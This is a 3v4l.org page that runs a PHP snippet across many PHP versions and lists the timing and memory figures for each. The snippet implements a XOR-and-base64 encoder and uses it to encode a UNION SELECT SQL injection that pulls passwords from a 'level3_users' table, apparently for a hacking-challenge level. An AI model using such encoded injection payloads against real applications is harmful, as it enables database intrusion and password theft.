3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,password FROM level3_users WHERE Username=Admin--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01118.55
8.3.50.0120.00522.18
8.3.40.0040.01118.96
8.3.30.0070.01318.91
8.3.20.0040.00419.07
8.3.10.0040.00421.14
8.3.00.0080.00023.46
8.2.180.0090.00617.00
8.2.170.0120.00322.96
8.2.160.0070.00720.34
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0000.00826.16
8.2.120.0040.00420.92
8.2.110.0090.00020.35
8.2.100.0040.00818.16
8.2.90.0060.00319.35
8.2.80.0000.00918.05
8.2.70.0000.00817.75
8.2.60.0080.00017.93
8.2.50.0040.00418.07
8.2.40.0080.00018.21
8.2.30.0060.00321.22
8.2.20.0040.00417.85
8.2.10.0040.00417.81
8.2.00.0060.00317.98
8.1.280.0040.01125.92
8.1.270.0080.00024.66
8.1.260.0080.00026.35
8.1.250.0030.00528.09
8.1.240.0060.00322.64
8.1.230.0090.00320.88
8.1.220.0030.00618.77
8.1.210.0030.00619.16
8.1.200.0000.00917.60
8.1.190.0000.00817.53
8.1.180.0000.00818.10
8.1.170.0040.00418.71
8.1.160.0030.00618.91
8.1.150.0030.00518.83
8.1.140.0050.00317.55
8.1.130.0030.00317.93
8.1.120.0040.00417.70
8.1.110.0050.00317.54
8.1.100.0070.00017.63
8.1.90.0000.00717.67
8.1.80.0000.00817.57
8.1.70.0000.00717.65
8.1.60.0060.00317.67
8.1.50.0040.00417.57
8.1.40.0080.00017.75
8.1.30.0050.00317.73
8.1.20.0030.00617.82
8.1.10.0080.00017.71
8.1.00.0000.00817.59
8.0.300.0090.00019.92
8.0.290.0030.00617.17
8.0.280.0000.00718.52
8.0.270.0000.00717.28
8.0.260.0030.00317.01
8.0.250.0000.00717.05
8.0.240.0090.00017.03
8.0.230.0040.00417.13
8.0.220.0000.00716.98
8.0.210.0040.00417.00
8.0.200.0030.00617.01
8.0.190.0080.00017.21
8.0.180.0000.00817.13
8.0.170.0040.00417.01
8.0.160.0000.00817.07
8.0.150.0030.00316.99
8.0.140.0050.00316.95
8.0.130.0050.00013.47
8.0.120.0050.00317.05
8.0.110.0070.00017.10
8.0.100.0030.00517.19
8.0.90.0070.00017.14
8.0.80.0060.01017.12
8.0.70.0030.00516.90
8.0.60.0000.00717.04
8.0.50.0060.00317.12
8.0.30.0070.01417.32
8.0.20.0150.00517.40
8.0.10.0000.00717.11
8.0.00.0130.00717.16
7.4.330.0050.00014.93
7.4.320.0050.00316.83
7.4.300.0050.00316.86
7.4.290.0030.00316.86
7.4.280.0070.00016.90
7.4.270.0000.00716.88
7.4.260.0000.00513.55
7.4.250.0080.00016.72
7.4.240.0080.00016.71
7.4.230.0040.00416.93
7.4.220.0120.00616.79
7.4.210.0060.01016.85
7.4.200.0000.00716.63
7.4.190.0040.00417.00
7.4.160.0140.00917.01
7.4.150.0090.00917.40
7.4.140.0060.01217.86
7.4.130.0040.01416.78
7.4.120.0060.01116.71
7.4.110.0070.01016.86
7.4.100.0120.00616.72
7.4.90.0150.00316.82
7.4.80.0110.00619.39
7.4.70.0120.00616.88
7.4.60.0080.00816.66
7.4.50.0090.00016.81
7.4.40.0060.00922.52
7.4.30.0110.00616.95
7.4.00.0030.01315.33
7.3.330.0030.00313.43
7.3.320.0000.00613.36
7.3.310.0000.00716.66
7.3.300.0030.00316.57
7.3.290.0030.01216.47
7.3.280.0070.00916.50
7.3.270.0140.00317.40
7.3.260.0080.01118.24
7.3.250.0100.01016.64
7.3.240.0030.01316.57
7.3.230.0120.00616.56
7.3.210.0080.00816.61
7.3.200.0120.01019.39
7.3.190.0100.01316.74
7.3.180.0060.00916.78
7.3.170.0060.00916.80
7.3.160.0110.00516.71
7.3.120.0140.00515.02
7.3.110.0120.00714.91
7.3.100.0040.00815.25
7.3.90.0080.00615.12
7.3.80.0030.01014.77
7.3.70.0100.00014.75
7.3.60.0090.00615.04
7.3.50.0090.00415.07
7.3.40.0000.01414.92
7.3.30.0040.00415.03
7.3.20.0050.00517.03
7.3.10.0110.00417.02
7.3.00.0090.00616.91
7.2.330.0080.01216.85
7.2.320.0110.00716.74
7.2.310.0000.02016.94
7.2.300.0100.00616.88
7.2.290.0030.01316.91
7.2.250.0030.01015.04
7.2.240.0030.01314.97
7.2.230.0030.01015.35
7.2.220.0130.00015.21
7.2.210.0030.01215.34
7.2.200.0030.00915.30
7.2.190.0140.00315.04
7.2.180.0030.01015.25
7.2.170.0090.00415.04
7.2.00.0060.00619.40
7.1.330.0080.00816.18
7.1.320.0060.00615.88
7.1.310.0060.00315.94
7.1.300.0030.01316.01
7.1.290.0000.00915.99
7.1.280.0000.01416.23
7.1.270.0040.00716.09
7.1.260.0100.00315.76
7.1.100.0040.00818.43
7.1.70.0060.00317.50
7.1.60.0100.01619.40
7.1.50.0070.01717.16
7.1.00.0070.03322.53
7.0.200.0030.00716.93
7.0.140.0070.07021.93
7.0.80.0700.07319.90
7.0.70.0500.04719.90
7.0.60.0370.08320.05
7.0.50.0500.08320.31
7.0.40.0130.08020.09
7.0.30.0070.07720.03
7.0.20.0070.05320.00
7.0.10.0100.07720.07
7.0.00.0000.09320.07
5.6.280.0000.07721.02
5.6.230.0100.07720.61
5.6.220.0070.04020.52
5.6.210.0030.07320.65
5.6.200.0100.08021.07
5.6.190.0100.09021.07
5.6.180.0130.08321.06
5.6.170.0200.07721.18
5.6.160.0070.08721.07
5.6.150.0200.05720.99
5.6.140.0100.08021.11
5.6.130.0030.07021.08
5.6.120.0100.05721.01
5.6.110.0130.06321.10
5.6.100.0070.05721.08
5.6.90.0100.05721.04
5.6.80.0030.05320.50
5.6.70.0070.04020.41
5.6.60.0030.09020.39
5.6.50.0030.08320.41
5.6.40.0030.05720.39
5.6.30.0030.08020.47
5.6.20.0100.07720.36
5.6.10.0030.04320.32
5.6.00.0130.06720.46
5.5.370.0130.07320.36
5.5.360.0170.08020.37
5.5.350.0130.07720.41
5.5.340.0030.08020.89
5.5.330.0100.08020.75
5.5.320.0130.07720.65
5.5.310.0030.07320.92
5.5.300.0130.07320.92
5.5.290.0100.08320.80
5.5.280.0100.08020.88
5.5.270.0170.08020.92
5.5.260.0100.07020.83
5.5.250.0070.06320.71
5.5.240.0070.04720.17
5.5.230.0070.06020.22
5.5.220.0070.08020.17
5.5.210.0130.06020.26
5.5.200.0100.05320.15
5.5.190.0100.08020.14
5.5.180.0000.06320.28
5.5.160.0130.07020.16
5.5.150.0170.06020.27
5.5.140.0070.06020.24
5.5.130.0170.06320.23
5.5.120.0130.03319.96
5.5.110.0000.05020.14
5.5.100.0100.07019.95
5.5.90.0070.04319.95
5.5.80.0130.06719.98
5.5.70.0100.07020.01
5.5.60.0130.07020.16
5.5.50.0000.05019.95
5.5.40.0100.08020.06
5.5.30.0070.08020.09
5.5.20.0070.08720.14
5.5.10.0170.06020.06
5.5.00.0130.04019.96
5.4.450.0000.08719.28
5.4.440.0070.05719.37
5.4.430.0230.07019.26
5.4.420.0100.06319.36
5.4.410.0130.07319.39
5.4.400.0230.07318.91
5.4.390.0130.06719.23
5.4.380.0170.06019.05
5.4.370.0100.04719.18
5.4.360.0070.06019.12
5.4.350.0170.03719.18
5.4.340.0030.06018.87
5.4.320.0100.06019.14
5.4.310.0100.07019.03
5.4.300.0070.08019.16
5.4.290.0000.04719.06
5.4.280.0130.03719.09
5.4.270.0000.04319.14
5.4.260.0130.06718.88
5.4.250.0070.06719.13
5.4.240.0000.08019.17
5.4.230.0100.07019.12
5.4.220.0130.07019.08
5.4.210.0070.07719.12
5.4.200.0070.07719.12
5.4.190.0070.05319.08
5.4.180.0100.07318.89
5.4.170.0100.07019.15
5.4.160.0070.07318.83
5.4.150.0030.05719.03
5.4.140.0100.07316.49
5.4.130.0100.04716.30
5.4.120.0030.07316.45
5.4.110.0070.07716.50
5.4.100.0130.05016.46
5.4.90.0130.06716.50
5.4.80.0130.06316.54
5.4.70.0000.04716.36
5.4.60.0100.04016.32
5.4.50.0130.04716.36
5.4.40.0070.07016.30
5.4.30.0130.06716.36
5.4.20.0030.04716.48
5.4.10.0130.05016.24
5.4.00.0070.04315.89
5.3.290.0070.08314.64
5.3.280.0030.05014.57
5.3.270.0030.06014.55
5.3.260.0170.07014.68
5.3.250.0070.03714.73
5.3.240.0070.05714.76
5.3.230.0100.08014.57
5.3.220.0130.04714.57
5.3.210.0030.08714.63
5.3.200.0070.06014.71
5.3.190.0200.04014.52
5.3.180.0070.07714.50
5.3.170.0030.05314.58
5.3.160.0070.07714.63
5.3.150.0070.06714.65
5.3.140.0030.07314.57
5.3.130.0070.05714.48
5.3.120.0030.04714.48
5.3.110.0100.04314.51
5.3.100.0030.07714.10
5.3.90.0030.07014.05
5.3.80.0070.05313.95
5.3.70.0100.04314.09
5.3.60.0100.05713.95
5.3.50.0070.07014.06
5.3.40.0030.06714.04
5.3.30.0030.05313.80
5.3.20.0030.05313.84
5.3.10.0100.06713.55
5.3.00.0070.07313.78
5.2.170.0030.06711.70
5.2.160.0000.06711.70
5.2.150.0200.05011.70
5.2.140.0030.05711.70
5.2.130.0000.04711.70
5.2.120.0030.03711.70
5.2.110.0000.06311.70
5.2.100.0030.07011.70
5.2.90.0070.06011.70
5.2.80.0070.06011.70
5.2.70.0070.03711.70
5.2.60.0100.03711.70
5.2.50.0000.03311.70
5.2.40.0030.02711.70
5.2.30.0000.03311.70
5.2.20.0030.03711.70
5.2.10.0130.05711.70
5.2.00.0130.06011.70
5.1.60.0070.04711.70
5.1.50.0000.03711.70
5.1.40.0070.03311.70
5.1.30.0000.04311.70
5.1.20.0070.04011.70
5.1.10.0000.04311.70
5.1.00.0130.02711.70
5.0.50.0030.03011.70
5.0.40.0030.04711.70
5.0.30.0030.06711.70
5.0.20.0070.03011.70
5.0.10.0100.03711.70
5.0.00.0030.05311.70
4.4.90.0030.02311.70
4.4.80.0070.01711.70
4.4.70.0030.01711.70
4.4.60.0030.01711.70
4.4.50.0000.04011.70
4.4.40.0000.04311.70
4.4.30.0070.01711.70
4.4.20.0000.04011.70
4.4.10.0030.02011.70
4.4.00.0000.04711.70
4.3.110.0030.03311.70
4.3.100.0030.03311.70
4.3.90.0100.03011.70
4.3.80.0070.05011.70
4.3.70.0000.02311.70
4.3.60.0030.03711.70
4.3.50.0030.03711.70
4.3.40.0000.04011.70
4.3.30.0000.02011.70
4.3.20.0000.01711.70
4.3.10.0030.01711.70
4.3.00.0030.01311.70

preferences:
44.8 ms | 401 KiB | 5 Q